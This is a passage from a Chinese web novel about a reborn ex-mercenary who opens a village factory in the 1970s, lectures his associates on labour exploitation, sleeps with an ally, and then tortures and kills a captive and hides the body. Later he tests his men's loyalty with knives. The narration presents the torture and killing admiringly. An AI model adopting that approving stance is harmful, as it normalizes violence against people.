“只要你肯出力,一个月挣个一百块,不是问题!” “一百块!”听到陈虎报出的工资价格,台下顿时就有人惊呼出声。 在七十年代,这绝对是一笔巨款! 这个年代的底层平均月收入,大致在二十块到三十块区间,而中层的白领以及干部也才不超过五十块。 “没错!就是几百块!” 陈虎再次肯定道。 “而且,这只是开始!” “随着工厂的发展,大家的收入还会越来越高!” “咱们工厂,不仅要让大家挣到钱,还要给大家提供各种福利!” “比如,免费的医疗保障!” “比如,子女的教育补助!” “比如,舒适的住宿环境!” 陈虎每说一条,台下的掌声就热烈一分。 “咱们工厂,不仅仅是为了挣钱,更是为了造福乡里,为社会做贡献!” “我希望,大家都能以厂为家,共同努力,把工厂做大做强!” 陈虎的演讲,慷慨激昂,充满了激情。 他所描绘的美好前景,深深地感染了在场的每一个人。 掌声,欢呼声,经久不息。 陈虎看着台下激动的员工,心中充满了豪情壮志。 他知道,这只是开始。 他还有更远大的目标,要去实现。 他要让上河村,成为全国闻名的富裕村! 他要让所有跟着他的人,都过上幸福的生活! 阳光下,陈虎的身影,显得格外高大伟岸。 他就像一颗冉冉升起的明星,照亮了上河村的未来。 人群中,陆无双看着台上意气风发的陈虎,眼中充满了爱慕和敬佩。 尽管知道有些事情,她没办法左右,但她却仍旧如痴如醉难以自拔。 演讲过后,陈虎进行了剪彩仪式。 而后,工厂开始试运行状态,有专人带着各个职员,去了解熟悉工作流程,并展开一系列的培训。 陈虎则带着赶回来参加剪彩仪式的孙若薇与他的心腹们,一起去到了酒宴。 “虎哥,这庆功宴,够排场啊!”包专夹起一块红烧肉,吃得油光满面。 “敞开了吃!今天开业首日,为了我与诸位美好的明天。”陈虎举起酒杯,朗声道:“来!走一个!” “敬虎哥!” 包专、马老三和成小天三人见状,连忙端起酒杯,齐声应和。 而后,他们都仰头,一口干了他们的杯中酒。 马老三放下酒杯,搓了搓粗糙的大手,随后有些局促地问道:“虎哥,你刚才台上说的,一个月真的能挣上一百块?” 他黝黑的脸庞上,写满了期盼,浑浊的眼睛里面,闪烁着希冀的光芒。 陈虎闻言,笑了笑,然后夹了块鱼肉,放进嘴里,慢条斯理地嚼着,同时认真回复道:“理论上是可行的!” “理论上?”马老三听到陈虎这话,不由得有些迷糊。 “虎哥出马,还有什么理论不理论的,肯定行!”包专这时候却是立马就拍起了陈虎的马屁,没有细究陈虎这话的意思。 成小天随后也跟着附和道:“就是!虎哥可是咱们上河村的财神爷!” 陈虎闻言,不由得轻笑着摇了摇头道:“你们啊,就知道捧我!我可不是什么财神爷,我只是个……资本家!” “资本家?”孙若薇听到陈虎这话,顿时秀眉微蹙,一脸不解地看向陈虎。 “对!资本家!”陈虎放下筷子,语气变得认真起来道:“我刚才说的计件工资、绩效考核,都是资本家的运作方式。” “可你给工人这么高的待遇,得到这么多的收入,不应该是良心企业家吗?”孙若薇更加不解道。 “良心企业家?”陈虎提到这个词时,不由得自嘲地笑了笑道:“恰恰相反!我可没那么有良心!” 第214章 陈虎在剥削 听到陈虎的话后,孙若薇不由得更加疑惑了。 “我不明白,你做的这一切,明明是为了让大家过上好日子,怎么就成了资本家,还剥削压榨了呢?”孙若薇皱着眉头,看向陈虎问道。 陈虎拿起酒杯,轻轻晃了晃,杯中清澈的酒液,映照出他深邃的目光。 “若薇,你想想,计件工资,看似多劳多得,公平合理,但实际上,它把所有的风险,全部都转嫁到了工人的身上。” “如果市场行情不好,产品滞销,工人即使加班加点,也挣不到多少钱。” “甚至于,他们可能连基本的生活保障都没有。” 孙若薇闻言,若有所思地点了点头。 随后,陈虎继续说道:“还有绩效考核,它看似激励员工努力工作,提高效率,但实际上,它也制造了内部竞争,甚至于内卷。” “为了拿到更高的绩效,工人之间会互相攀比,互相挤压,甚至于不择手段。” “最终,受益的还是我们这些资本家。” 陈虎的语气平静,却字字如刀,直戳人心。 包专和成小天听得目瞪口呆,他们没想到陈虎竟然会说出这样一番话。 在他们看来,陈虎就是他们的恩人,是带领他们致富的领路人。 而现在,陈虎却亲口承认,他是个资本家,是在剥削他们。 马老三却似乎听懂了一些,他沉默不语,低头喝着闷酒。 他听明白也理解了其中的含义,他知道陈虎说的,都是真的。 孙若薇随后也陷入了沉思。 她一直以为,陈虎的目的中,有一部分是为了造福乡里,为了帮助穷人。 而现在,她才意识到,陈虎的最终目的,还是为了赚钱。 只是,他的方法,比其他人更聪明,更有效。 他用看似公平的制度,掩盖了剥削的本质。 他用看似美好的愿景,麻痹了工人的思想。 窗外,夕阳西下,将天空染成一片血红色。 就像人类社会底层的逻辑与发展轨迹走向一样,充满着血腥和残酷的脉络。 “虎哥,你这话说的,我咋有点儿听不懂呢?”成小天挠了挠头,一脸的迷茫。 “就是啊!生意好,产量大,大家伙儿不就都能挣到钱了吗?”包专也跟着附和道。 陈虎随后,呷了一口酒,眼神深邃,仿佛能洞穿一切。 “我给你们打个比方。”陈虎放下酒杯,语气变得严肃起来。 “假设,一个企业主雇佣了一个工人。” “这个企业主每个月营业额是一百块。” “利润是百分之三十,也就是三十块。” “那你们说,这个企业主应该开多少工钱给工人合适?” 包专闻言,抢先说道:“那不得看工人干多少活儿啊!干得多,就多给,干得少就少给!” 马老三却闷声说道:“我觉得,怎么也得给个十块、八块的吧,不然谁给你干活儿啊!” 成小天则小心翼翼地说道:“虎哥,我觉得,二十块就差不多了!” 孙若薇则认真思考后说道:“如果利润是三十块,那给工人十五块,企业主自己留十五块,这样五五分账,最公平合理。” 陈虎听到这话,不由得笑着摇了摇头。 “若薇,你说的五五分账,看似公平,但实际上,对企业主来说,并不合理。” “为什么?”孙若薇闻言,有些不解地问道。 “因为企业主需要承担所有的风险。”陈虎解释道。 “例如,产品滞销,资金周转不开,等等……” “这些风险,都是工人不需要承担的。” “如果工资占利润的一半,那企业主为什么要冒着风险去经营企业呢?” “他完全可以自己去做工人,拿同样的工资,还不用承担任何风险。” 孙若薇闻言,顿时恍然大悟,但很快又皱眉。 “你说得不对!”孙若薇否定道:“那企业主可以多雇佣几个工人,这样的话,每个工人的工资占比就低了,企业主承担的风险也就分摊出去了!” 陈虎闻言,再次摇了摇头。 “若薇,你还是太天真了。” “资本的运作模式,从来都是追求利益最大化。” “企业主雇佣工人,是为了创造更多的利润,而不是为了分摊风险。” “只要工人的工资,有着市场竞争力,能够招到人,那就足够了。” “至于工人能挣多少钱,那要看市场行情,看企业的效益。” “企业效益好,工人自然能够多挣钱。” “企业效益不好,工人即使再努力,也挣不到多少钱。” 包专、马老三和成小天三人在酒桌上,听得云里雾里,似懂非懂。 他们只知道,陈虎说的,肯定是对的。 孙若薇却是陷入了沉思。 她开始重新审视陈虎的商业模式,以及他所谓的“造福乡里”。 随着谈话的沉入,她逐渐明白,陈虎的根本目标,依然是追求利润。 不过,陈虎的手段显得比其他人更为聪明和高效。 制度其实就是文字游戏,看似合理,但其底层逻辑根本就经不起推敲。 而对利益的追求,才是根本逻辑! 陈虎对工人的许诺,是建立在陈虎自身利益的最大化上,这显然是矛盾却又符合人性预期的。 窗外,夜色渐浓,星星闪烁。 就像资本的触角,渗透到每一个角落,无处不在。 “虎哥,这酒也喝了,肉也吃了,我心里有件事儿,一直憋着难受。”成小天搓了搓手,犹豫着开口。 “有屁快放!”陈虎豪迈地一挥手。 “就是……这厂子规模这么大,产量肯定惊人,要是产品卖不出去,那咋办啊?”成小天小心翼翼地问道。 “可不是嘛!虎哥,这年头大伙儿都穷,谁买得起这些农副产品啊?”马老三随后也跟着附和,满脸担忧。 陈虎听完,直接哈哈大笑起来,笑声震得桌子上的酒杯都微微颤动。 “老三,你的眼界太低了!”陈虎指着马老三,语气之中,带着一丝调侃。 “咱们的消费群体,除了南方沿海的那些有钱人,还有出口这条路子呢!” “你以为大家都跟村里人过往一样,穷得叮当响啊?” “那是因为大基数的人都在拿着微薄的收入,挣扎在温饱线上!” “可实际上,国内的中产阶级,还有发达国家的中产,甚至于底层,他们的恩格尔系数都小于百分之三十!” “恩格尔系数?那是个啥玩意儿?”包专闻言,一脸茫然,不由得挠了挠头。 “这你都不知道?”陈虎瞥了包专一眼,随后开始解释道:“恩格尔系数就是食品支出总额占个人消费支出总额的比重。” “简单来说,就是你花在吃上面的钱,占你所有花销的比例。” “这个系数越低,就说明你的生活水平越高。” “百分之三十,就是一个重要的分界线。” “低于百分之三十,就说明你已经解决了温饱问题,可以追求更高层次的消费了。” “要是高于百分之五十,那就说明你还在为吃饱饭发愁。” “咱们的目标客户,就是那些恩格尔系数低的群体。” “他们不差钱,追求的是品质和健康。” “咱们的产品,正好满足他们的需求。” 包专闻言,似懂非懂地点了点头,看向陈虎的眼神之中,也是充满了敬佩。 第215章 贪是不贪,不贪方为大贪! “虎哥就是虎哥,懂得真多!” 包专虽然听不到,但并不影响他对陈虎竖起了大拇指,一脸讨好地拍着陈虎的马屁。 “行了!别拍马屁了!”陈虎随后摆了摆手道:“赶紧吃!吃完回去好好休息!” “明天还有很多事情要忙呢!” 众人闻言,纷纷点头,继续享用美食。 酒过三巡,菜过五味,饭局也渐渐接近尾声。 陈虎起身,拍了拍身上的灰尘。 “都吃好了吧?吃好了就散了吧?” “明天都给我打起精神来,各司其职的好好干!” 众人闻言,纷纷起身,向陈虎道别。 陈虎看着他们离去的背影,眼神之中,闪过了一丝深邃的光芒。 夜深了,上河村渐渐安静下来。 只有陈虎的房间里面,还亮着一盏灯。 他坐在桌前,手里拿着一份文件,眉头紧锁。 这份文件,是关于九头蛇组织的最新情报。 他知道,九头蛇组织不会轻易放弃对他的刺杀。 尽管如今红拂女被他策反了,境内仅存的九头蛇队伍也在他的控制下,只需要一个契机,就能够为他所用。 可境外的北部九头蛇组织,还在对他虎视眈眈! 这份文件的内容,便是近来边境驻防部队遭遇意图潜入境内九头蛇组织的成员,双方随即所发生的冲突情报。 陈虎的眼中,此时闪烁着一抹精光,自言自语出声道: “看样子,时机就快到了……” 他很清楚一场新的风暴,即将到来。 陈虎刚放下文件,一阵敲门声便响起了。 “进来!” 门开了,孙若薇走了进来。 她穿着睡衣,姣好的身材曲线在薄薄的衣料下,若隐若现。 她的脸颊上带着一抹不自然的红晕,眼神闪烁,似乎有些羞涩。 陈虎见此,不由得微微一愣,随即恢复了平静。 他给孙若薇安排了单独的房间,而这个时间,孙若薇却穿着睡衣出现在他的房间里面,这显然有些不寻常。 陈虎没有说话,只是静静地看着孙若薇。 随后,孙若薇走到陈虎的面前,低着头,双手不安地绞着睡衣下摆。 “陈虎……”孙若薇轻声开口,声音有些颤抖。 “你……你到底想干什么?” 陈虎闻言,挑了挑眉,示意孙若薇继续说下去。 “从一开始的项目方案,到帮助我摆脱家族的强迫,再到建厂,把资金转移到市区……” “你好像很急着赚钱……” “可是……”孙若薇抬起头,直视着陈虎的眼睛道:“就算你现在什么也不做,你也能衣食无忧,荣华富贵了……” “你为什么还要这么拼命?” “你甚至于都没想过翻新一下房子,或者住进一幢别墅,享受一下生活……” “你的生活水平,和以前几乎没什么两样……” 陈虎闻言,当即沉默了片刻,然后淡淡一笑。 “谁说我没有欲望?” “享受?食色?这些我都有?” “之所以这些欲望不能够控制我,是因为我还有更大的欲望。” “贪是不贪,不贪方为大贪!” 孙若薇闻言,直接愣住了,她不明白陈虎的意思。 陈虎随后站起身,走到窗边,看着窗外漆黑的夜色。 “若薇,你知道吗?” “这个世界,远比你想象的要复杂得多。” “有些东西,比金钱和权力更重要!” “我所追求的,就是那些东西!” 陈虎转过身,眼神之中,闪烁着一种莫名的光芒。 “至于是什么……” “等到合适的时候,你会明白的。” 孙若薇的心跳得很快,她感觉陈虎就像一个谜,让她捉摸不透。 她不知道陈虎到底想要什么,但她知道,陈虎的目标一定非同寻常。 房间里面,顿时陷入了沉默,只有陈虎和孙若薇两人轻微的呼吸声。 孙若薇看着陈虎,眼神复杂。 她不知道她对陈虎是什么感觉,是敬佩?是好奇?还是…… 她不敢再想下去,连忙低下头,掩饰她内心之中的慌乱。 “很晚了,你早点休息吧!”陈虎随后打破了沉默。 孙若薇闻言,深吸一口气。 “我爷爷说过,你这样的人,连他都看不透。” “但他明白,你有着很大的野心,还有超强的执行力。” “在通往你野心的路上,你会不择手段地去争取。” 孙若薇说到这里,不由得咬了咬牙。 “我不想我们的关系到了今天,还隔着一层利益捆绑。” “我害怕你得到了你想要的,就把我抛弃。” “所以,我要接着投资,或者说,继续下重注!” 顿了顿,孙若薇的眼神之中,闪过一丝决绝。 陈虎听了孙若薇的话后,一言不发,只是静静地看着孙若薇。 他的眼神深邃而平静,仿佛一口古井,让人看不透他的内心。 “再下重注?以后成为我老婆就行了!” 陈虎故意用戏谑的语气,对孙若薇说着玩笑话,但他的眼神深处,却是透露出一股冷漠的平静。 他知道该用什么样的手段,去让一个内心因为男人感到不安全的女人,去获得平静。 随后,陈虎弯下腰,也不给孙若薇反应的机会,直接就将孙若薇抱了起来。 孙若薇没有挣扎,就像她穿着睡衣来找陈虎一样,已经在陈虎身上得到过快乐的她,也想靠着那快乐,让她自己平静。 她随后就像一只受伤的小猫,依偎在陈虎的怀里。 陈虎抱着孙若薇,来到床边,然后轻轻地将孙若薇放在床上。 “你成功在我这里下了重注?” 陈虎的声音很轻,却带着一种不容置疑的肯定。 孙若薇闻言,抬起头,媚眼朦胧地看着陈虎。 “如果……如果我突然后悔,不决定再下重注呢?” 陈虎闻言,却是直接笑了笑。 “你不会走!” “因为你也贪。” “你贪图借助我摆脱原生的强迫!” “贪图我这个人!” 陈虎说完,眼神随即变得充满了侵略性。 他俯下身,吻上了孙若薇的唇。 孙若薇没有拒绝。 她闭上了眼睛,回应着陈虎的吻。 房间里面,随后充满了暧昧的气息。 红袖添香,春光无限! …… 第216章 前后半夜 窗外,夜色正浓。 后半夜,凉风习习,月光如水,倾泻在上河村的田野上,蛙鸣虫杂。 如此构成了一曲宁静的乡村夜曲。 陈虎睡得并不沉。 一阵轻微而有节奏的律动声,扰乱了他的睡眠。 这声音很细微,若有若无。 但对于曾经的雇佣兵之王来说,任何细微的异常,都逃不过他敏锐的感官。 他猛地睁开眼睛。 警觉地环顾四周。 房间里面很安静,只有孙若薇均匀的呼吸声。 那声音是从外面传来的。 陈虎轻轻地起身,尽量不惊动孙若薇。 他披上衣服,悄无声息地走出了房间。 院子里,月色朦胧。 红拂女一袭红裙,如同夜色中的幽灵,坐在院子中央的石凳上。 她的手里拿着一个小盒子,手指在上面轻轻拨弄着。 那有节奏的律动声,正是从盒子里面发出来的。 陈虎放轻脚步,走到红拂女的身边。 “怎么还没睡?” 红拂女闻言,抬起头,绝美的脸上露出一丝淡淡的笑容。 “你动静太大,吵到我了!” 陈虎听到这话,不由得耸了耸肩,有些无奈。 他知道红拂女是在调侃他。 “说真的,你在干什么?” 红拂女这才收起笑容,将手中的小盒子递给陈虎。 “北部组织有人联系我了。” “这是他们的联络器。” 陈虎接过盒子,仔细端详着。 这盒子看起来很普通,但却散发着一股冰冷的金属质感。 “他们想干什么?” “发布任务!” 红拂女的声音很平静,却带着一丝不易察觉的寒意。 “给境内残余的九头蛇组织成员。” 陈虎听到这个消息,眉头当即就皱了起来。 他知道,这意味着新的麻烦即将到来! “人在哪儿?” 陈虎的声音,低沉而有力,带着一股不容置疑的威严。 红拂女站起身,指了指后山的方向。 “跟我来!” 两人一前一后,朝着后山走去。 夜色笼罩着后山,树影婆娑,山风呼啸,更添了几分神秘和危险。 夜色更浓了,后山的小路崎岖不平,陈虎和红拂女一前一后,踩着碎石和落叶,朝着山洞深处走去。 山风呼啸,树影婆娑,像无数鬼魅张牙舞爪。 陈虎的脚步,轻盈而稳健,仿佛与这夜色融为一体。 红拂女紧随其后,红裙在夜风之中飘舞,像一朵盛开的罂粟花,妖娆而危险。 终于,他们来到一个隐秘的山洞口。 洞口被茂密的藤蔓遮掩,若不仔细观察,很难发现。 红拂女拨开藤蔓,率先走了进去。 陈虎紧随其后。 山洞内,一片漆黑,伸手不见五指。 陈虎从口袋里面,掏出一个微型手电,打开开关。 一束雪白的光柱,瞬间照亮了山洞内部。 洞内空间很大,到处都是奇形怪状的溶石,像一座地下宫殿。 洞中央,还有一条清澈的小河,缓缓流淌。 在小河边,一个男人被五花大绑,半死不活地躺在地上。 男人三十来岁,衣衫褴褛,满脸血污,看起来十分狼狈。 红拂女走到男人的身边,蹲下身子,熟练地解开了绑在他身上的绳子。 男人缓缓睁开眼睛,看到红拂女,先是一愣,随即破口大骂。 “你这个贱人!你竟然敢背叛组织!” “你等着吧,组织一定会抓到你,让你生不如死!” 男人的声音,嘶哑而尖锐,充满了怨毒和仇恨。 红拂女面无表情,仿佛没有听到男人的咒骂。 陈虎饶有兴致地看着眼前的这个男人,嘴角露出一丝冷笑。 “红拂女,想办法联系到北部境外九头蛇组织。” “我会放开一道口子,让他们钻进来。” “只要九头蛇组织的成员敢进来,有多少,我就让他们有来无回!” 陈虎的声音,低沉而有力,带着一股不怒自威的恐怖。 男人听到陈虎的话,先是一愣,随即便哈哈大笑起来。 “你以为你是谁?” “你以为你能够对付得了九头蛇?” “你太天真了!” 男人笑得歇斯底里,仿佛听到了天大的笑话。 “红拂女,你这个叛徒!” “你以为你背叛了组织,就能活命吗?” “你也会和这个傻瓜一样的下场!” 男人继续咒骂着,用尽了所有恶毒下流的脏话。 红拂女依旧面无表情,仿佛对男人的咒骂充耳不闻。 陈虎的眼中,此时闪过一丝寒光。 “嘴还挺硬!”陈虎随即蹲下,拍了拍男人的脸。 男人啐了一口带血的唾沫,正中陈虎的脸颊。 陈虎也不恼,只是用拇指抹去脸上的血迹,眼神冰冷。 “看来,你是不见棺材不落泪!” 他站起身,从腰间抽出一把匕首。 刀锋在昏暗的山洞里面,反射着寒光,如同毒蛇吐信。 红拂女站在一旁,静静地看着。 她知道陈虎的手段,也明白接下来会发生什么。 男人看到匕首,眼神之中,闪过一丝恐惧。 但他仍然强作镇定,破口大骂。 “有种你就杀了我!” “老子十八年后,又是一条好汉!” 陈虎没有说话,只是用匕首轻轻划过男人的脸颊。 鲜血顺着伤口流淌下来,在男人的脸上,画出一道血痕。 男人疼得浑身颤抖,却依旧死咬着牙关,不肯求饶。 时间一分一秒地过去。 山洞里面,回荡着男人痛苦的呻吟声。 五分钟过去了。 男人的叫骂声逐渐减弱,取而代之的是断断续续的求饶声。 七分钟过去了。 男人已经彻底放弃了抵抗,开始断断续续地交代出他所知道的一切。 十分钟后,山洞里面,恢复了平静。 男人瘫软在地上,如同一条死狗。 陈虎收起匕首,眼中满是深邃与深幽。 “契机到了……”陈虎低声说着,并告知了红拂女具体位置和人数。 红拂女点了点头,眼中闪过一丝惊讶。 陈虎的手段,比她想象的还要狠辣高效。 她甚至于在陈虎的某些动作中,看到了九头蛇组织内部刑罚的影子。 “走吧!” 陈虎转身向洞口走去。 红拂女跟在他的身后,一言不发。 当他们离开山洞时,洞内的男人已经被埋在一处乱石之下。 只有几缕鲜血,从乱石缝隙之中,渗透出来,昭示着这里曾经发生过的一切。 夜风依旧呼啸,树影婆娑。 陈虎和红拂女的身影,渐渐消失在夜色之中。 前半夜,红袖添香,满园春色收不尽。 后半夜,月黑风高,杀人藏尸! 第217章 把钱给我追回来! 夜色笼罩下,陈虎与红拂女二人并肩而行,走出山洞后,他们闲庭信步的往回走去。 月光将二人的倒影,拉得很长。 山间虫沸鸟鸣,在幽静的夜中,显得格外喧嚣。 “陈虎,你的严刑手段比我还熟稔!若非你还是个少年,我甚至于要怀疑你是某个九头蛇组织的高层。”红拂女幽幽开口,望向陈虎的眼神之中,满是疑惑。 陈虎耸了耸肩,并没回答这个问题,而是反问道:“红拂,你进入九头蛇组织能够走到华夏新分部部长的这个位置,手上的人命只怕过百了吧!” 红拂女不置可否,挑眉轻笑道:“以你的严刑逼供手段,手上沾的血只会比我多,毕竟没有足够的实践,刑罚这东西可难有长进。” 陈虎看向红拂女秀丽却又邪魅的那张脸,有些惋惜道:“可惜没机会在你的身体上面试验一二。” 红拂女闻言,皱了皱眉,没有应声。 良久,她才再度开口问道:“你真的不是九头蛇组织出身吗?” 尽管她了解陈虎的所有背景、出身,以及周边的一切。 这些能够证明陈虎身份的东西,没有一样与九头蛇组织挂钩。 甚至于按照常理而言,陈虎应该是个普通的猎户,或者农户,可如今的陈虎名下有着巨额资产,在整个马关口,哪怕是县长孙承恩见了他,都得陪笑。 陈虎缓缓摇头,没有应声。 九头蛇出身? 重生?重生! 昨日种种譬如昨日死,今日种种譬如今日生。 次日,午饭过后。 陈虎简单收拾了一下,便起身往工厂办公区走去。 午后的阳光,有些刺眼,晒得人昏昏欲睡。 可陈虎刚踏进办公区,就感觉到一股不同寻常的气氛。 孙若薇站在办公桌前,脸色铁青,手里捏着一份文件,像是要把它揉碎似的。 “怎么了这是?谁惹我们孙大小姐生气了?”陈虎笑着走过去,语气轻松。 孙若薇猛地抬起头,眼圈都红了道:“账上少了五万块!” 陈虎闻言,脸上的笑容瞬间消失,眉头紧锁的问道:“五万?怎么回事?” “我也不知道!今早查账的时候还好好的,现在就没了!”孙若薇的声音带着一丝颤抖,显然是又急又气。 陈虎的脸色顿时阴沉下来,这可不是小数目。 “小天!黑狗!马老三!都给我过来!”他扯着嗓子,朝外面大喊了一声。 不一会儿,三个人就急匆匆地赶了过来。 “虎哥,啥事?”成小天一脸谄媚地问道。 “账上少了五万,怎么回事?”陈虎语气冰冷,眼神锐利地扫过眼前三人。 成小天和马老三闻言,都是一愣,两人面面相觑。 “五万?啥时候的事儿?”马老三一脸茫然。 “黑狗呢?他怎么没来?”陈虎注意到包专不在。 “黑狗一大早就去县城了,说是有点儿事。”小天连忙解释道。 陈虎闻言,心中不由得咯噔一下,一种不祥的预感顿时涌上心头。 “你们两个,去查!把钱给我追回来!”他指着成小天和马老三,语气不容置疑。 “是!虎哥!”两人不敢怠慢,连忙转身离去。 办公区里,只剩下了陈虎和孙若薇。 孙若薇的脸色依旧难看道:“这可怎么办啊?后续物料的资金本来就紧张,现在又少了五万……” 陈虎拍了拍孙若薇的肩膀,安慰道:“别担心,可以从药厂那边调动,或者找孙县长下批文件,去银行拿贷款,这事儿不大。” 顿了顿,陈虎的眼神之中,闪过一丝寒芒道:“倒是动了这笔钱的人,当真是胆子够大的!” 孙若薇闻言,也陷入了沉思道:“会是谁呢?” 陈虎冷笑一声,语气冰冷道:“能动钱的,除了你我,就是小天、黑狗、马老三。” “他们都负责着集团的各个部门,马老三老实本分,小天野心勃勃又好色,唯有黑狗……” 陈虎没有继续说下去,但意思已经很明显了。 包专眼界低,心黑手脏还好赌,五万块对于他来说,无疑是巨大的诱惑。 而且,他一大早就去了县城,这更加重了陈虎的怀疑。 孙若薇也想到了这一点,脸色更加难看。 “如果真是他的话……”她咬了咬嘴唇,没有继续说下去。 陈虎的眼中,此时闪过一丝狠厉道:“能从我这儿骗到钱是他的本事,能骗过我更是本事,但用偷用拿,真当我陈虎是个笑话?呵呵……” 成小天和马老三两人,一路小跑着来到财务室。 “小刘,把今天的账目,再核对一遍!”成小天吩咐道,语气里面,带着一丝焦急。 财务小刘是个戴着厚厚眼镜的年轻姑娘,闻言连忙翻开账本,噼里啪啦地敲打着算盘。 算盘珠子碰撞的声音,在安静的房间里面显得格外清晰,一下一下地敲击着成小天和马老三的神经。 时间一分一秒地过去,房间里面的气氛,越来越凝重。 马老三不停地搓着手,额头上面,也渗出了细密的汗珠。 他心里清楚,五万块可不是小数目,要是真找不回来,他们几个都吃不了兜着走。 终于,小刘抬起头,语气有些为难道:“账目确实少了五万,是从人力资源部门的账户走出去的。” 成小天和马老三闻言,不由得对视一眼,都从对方的眼中,看到了震惊和一丝了然。 人力资源部门,正是包专负责的! “看来,真是黑狗干的!”马老三喃喃自语,脸色有些发白。 成小天不由得深吸了一口气,努力让他保持冷静道:“先别下定论,我们去找虎哥汇报。” 两人匆匆赶往陈虎的办公室,却在门口被红拂女拦了下来。 眼下的红拂女也是集团在职人员,以陈虎秘书的身份作为掩护,留在陈虎扑的身边。 “陈虎正在里面谈事情,任何人都不见。”红拂女语气冰冷,不容置疑。 成小天和马老三闻言,只好在门外等候。 红拂女则转身回到了办公室。 时间一分一秒地过去,办公区里面静悄悄的,只有墙上的挂钟发出“滴答、滴答……”的声响。 这声音仿佛直接敲击在两人的心头一样,让他们越来越焦躁不安。 第218章 考不过,就舍弃! 不知过了多久,办公室的门终于打开了。 红拂女款款走出,手里拿着两把寒光闪闪的短刀。 她走到成小天和马老三的面前,将短刀递给他们,语气冰冷道:“陈虎什么都没说,只让我把这个交给你们!” 成小天和马老三接过短刀,入手处一片冰凉,仿佛握着一块寒冰。 两人来到办公区外,随即找了个僻静的角落。 马老三脸色惨白,嘴唇哆嗦着说道:“这……这是什么意思?” 成小天却是深吸一口气,眼中满是犹豫道:“虎哥让我们追查并把钱追回来,这事儿得我俩处理!” 顿了顿,成小天语气沉重道:“这刀,是给黑狗的!” 马老三闻言,不由得咬牙,心一横道:“反正不管怎样,我们不能让虎哥失望!” 听到马老师这话,成小天却是叹了口气道:“黑狗跟了我那么些年,我想给他一个机会!” 看着手中的短刀,成小天眼神复杂道:“找到黑狗,把钱追回来,然后把他交给虎哥处理。” 说完,成小天便郑重地将短刀收了起来。 一股沉重的气氛,顿时笼罩在两人的心头,仿佛暴风雨来临前的宁静。 成小天和马老三的身影,随后消失在走廊尽头。 陈虎端起茶杯,轻轻抿了一口,茶香四溢,却丝毫没有缓解他心中的烦躁。 “跟上去看看!”陈虎随后对着红拂女说道,他的语气平静,却带着不容置疑的威严。 红拂女闻言,微微颔首,眼中却是闪过了一丝疑惑。 “需要我做什么?”红拂女轻声问道,声音如同夜莺般动听,却带着一丝不易察觉的冷意。 陈虎闻言,却是放下茶杯,眼神深邃,仿佛能洞穿人心。 “看着就行!”随后,陈虎淡淡地说着,语气之中,带着一丝玩味道:“不是什么阿猫阿狗都能跟着我!” “这是给他们的考卷!” 顿了顿,陈虎的语气此时变得冰冷。 “考不过,就舍弃!” 听到这话,红拂女心中一凛,她明白陈虎话中的含义。 包专的背叛不在陈虎的预料之内,却能够为陈虎所用,陈虎并不关心马老三和成小天二人追查下去的结果,因为事情已经发生,追究无用。 眼下,陈虎真正的目的是为了考验成小天和马老三的忠诚和能力。 “顺便看看,他们都做了些什么。”陈虎随后补充道,眼神之中,闪过一丝寒芒。 红拂女闻言,心中一动,她突然意识到,这不仅仅是对成小天和马老三的考验,也是对她的考验。 “我的考卷呢?”红拂女忍不住问道,语气之中,带着一丝好奇。 陈虎闻言,嘴角微微上扬,露出了一抹神秘的笑容。 “时候到了,你自然就会知道!” 红拂女没有再追问,她知道陈虎的性格,陈虎决定的事情,没有人可以改变。 “看完之后,去边境一趟!”陈虎的语气,突然变得严肃起来。 红拂女闻言,心中不由得一紧,她知道,真正的任务来了。 “给你九头蛇组织的上级报个信。”陈虎继续说道,眼神之中,闪过一丝冷酷。 “将东北处阴山方向的边境驻防松懈的情报,透露给他们。” “把他们引诱进来!” 红拂女闻言,没有丝毫犹豫,立刻领命。 “是!” 她恭敬地回答,语气之中,带着一丝决绝。 红拂女转身离去,身影消失在门外。 陈虎独自一人坐在办公室里,眼神深邃,仿佛在思考着什么。 他轻轻地敲击着桌面,发出有节奏的声响,仿佛在演奏一首无声的乐曲。 这盘棋,他已经布了很久。 现在,是时候收网了! 窗外,夕阳西下,天空被染成了一片血红色。 这预示着,一场腥风血雨即将到来。 吉普车在坑洼不平的土路上颠簸,扬起阵阵尘土。 马老三愁眉苦脸地叹了口气,手里夹着根皱巴巴的烟,半天也没点着。 “你说黑狗这是作甚呢?好好的日子不过,非要搞这一出!” 成小天紧握着方向盘,眼神专注地盯着前方,一言不发。 他心里面清楚得很,包专肯定是赌瘾又犯了。 马老三的脸色有些难看,眼神飘忽不定,似乎想起了什么不好的回忆,他下意识地摸了摸后腰。 那里,曾经别着一把锋利的匕首。 “小天,你说……虎哥那把刀的意思,是让咱俩……杀了黑狗,把钱给追回来吗?” 马老三的声音有些颤抖,带着一丝恐惧。 他想起和陈虎一起埋葬在后山山涧埋的王家父子和朱明的那三具尸体,后背一阵发凉。 “吱……” 刺耳的刹车声,突然划破了寂静的空气。 成小天猛地一脚刹车,转头怒视着马老三,眼神里面充满了愤怒。 “你在胡说八道些什么!” 成小天几乎是吼出来的,语气里面充满了压抑的怒火。 “找到人再说!先把钱追回来,再让虎哥定夺!” 成小天随后深吸了一口气,努力平复着他心中的怒火。 “黑狗要是认错,到时候我再求情!虎哥肯定能饶他一命的!” 马老三闻言,却是不由得叹了口气,没有再多说什么。 他太清楚陈虎的手段了,包专这次绝对是作死了! 吉普车再次启动,继续在土路上颠簸。 车里面,陷入了长久的沉默,只有发动机低沉的轰鸣声。 成小天紧紧地握着方向盘,指关节都有些发白。 “黑狗……跟我一起长大的!” 成小天随后打破了沉默,语气低沉,带着一丝伤感。 “我以前跟成枝豹的时候,把他带了进来……” 顿了顿,成小天的眼神里面,却是闪过一丝自责。 “他这赌瘾……也是跟我之后,才染上的……” 成小天用力地捶了一下方向盘,发出一声闷响。 “道上……这些陋习……是避免不了……” 说到这里,成小天却是抬起头,眼神里面充满了无奈。 “可黑狗……他不是什么坏种啊……” “要是因为这样……就要了他的命……” 说到这里,成小天的声音有些哽咽,带着一丝颤抖,他咬紧牙关,脸上充满了痛苦。 “我……我第一个对不起他……” 成小小用力地闭上眼睛,任由泪水顺着他的眼角滑落。 他知道,这次的事情,恐怕没那么简单了! “虎哥的手段……” 成小天低声重复着,手不自觉地摸上了方向盘上的虎头纹身贴纸。 他的指尖反复摩挲着,仿佛在感受那份冰冷的威慑。 他想起马加爵那帮人,全部都横七竖八地躺在山涧里见,血腥味在空气中弥漫,久久不散的场景。 那场景,至今都仍是成小天挥之不去的梦魇。 马老三此时也沉默着,眼神空洞,仿佛陷入了某种回忆。 “到了!” 